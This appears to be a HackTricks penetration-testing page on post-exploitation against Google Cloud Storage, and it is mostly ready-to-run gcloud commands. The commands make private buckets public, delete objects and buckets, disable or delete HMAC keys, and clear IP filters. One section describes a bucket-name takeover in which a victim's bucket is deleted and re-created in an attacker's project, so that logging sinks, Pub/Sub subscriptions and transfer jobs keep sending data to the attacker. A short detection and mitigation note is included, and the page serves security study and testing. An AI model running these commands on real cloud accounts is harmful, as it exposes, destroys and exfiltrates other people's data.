# GCP - Storage Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Storage

For more information about CLoud Storage check this page:

{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}

### Give Public Access

It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:

```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention

# Make all objects in a bucket public
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
## I don't think you can make specific objects public just with IAM

# Make a bucket or object public (via ACL)
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```

If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`

To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`

### `storage.objects.delete` (`storage.objects.get`)

To delete an object:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```

### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`

To delete a bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```

### Global bucket name takeover of upstream writers

Cloud Storage bucket names are globally unique. Before deleting a bucket, check whether any automated service keeps writing to that bucket by name. If the bucket is deleted and the same name is recreated in an attacker-controlled project, upstream writers such as Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, or Storage Transfer Service jobs may continue writing future data to the replacement bucket.

```bash
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
  --format='table(name,destination,writerIdentity)'

# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
  --format='json(name,topic,cloudStorageConfig)'

# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>

# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
  --project <ATTACKER_PROJECT_ID> \
  --location <LOCATION>
```

Grant the relevant writer identity access to the replacement bucket if the upstream service requires it:

```bash
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
  --member='<WRITER_IDENTITY_MEMBER>' \
  --role='roles/storage.objectCreator' \
  --project <ATTACKER_PROJECT_ID>
```

**Potential Impact:** long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.

**Detection & Mitigation:** treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict `storage.buckets.delete`, and use retention policies or legal holds for critical export buckets when appropriate.

### Deactivate HMAC Keys

The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.

```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate

# Delete
gcloud storage hmac delete <ACCESS_ID>
```


### `storage.buckets.setIpFilter` & `storage.buckets.update`
The `storage.buckets.setIpFilter` permission, together with the `storage.buckets.update` permission, allows an identity to configure IP address filters on a Cloud Storage bucket, specifying which IP ranges or addresses are allowed to access the bucket’s resources.

To completely clear the IP filter, the following command can be used:

```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```

To change the filtered IPs, the following command can be used:

```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
  --ip-filter-file=ip-filter.json \
  --project=<PROJECT_ID>
```

The JSON file represents the filter itself, something like:
```bash
{
  "mode": "Enabled",
  "publicNetworkSource": {
    "allowedIpCidrRanges": ["<IP>/<MASK>"]
  },
  "allowCrossOrgVpcs": false,
  "allowAllServiceAgentAccess": false
}
```

### `storage.buckets.restore`
Restore a bucket using:

```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
  --project=<PROJECT_ID>
```


{{#include ../../../banners/hacktricks-training.md}}


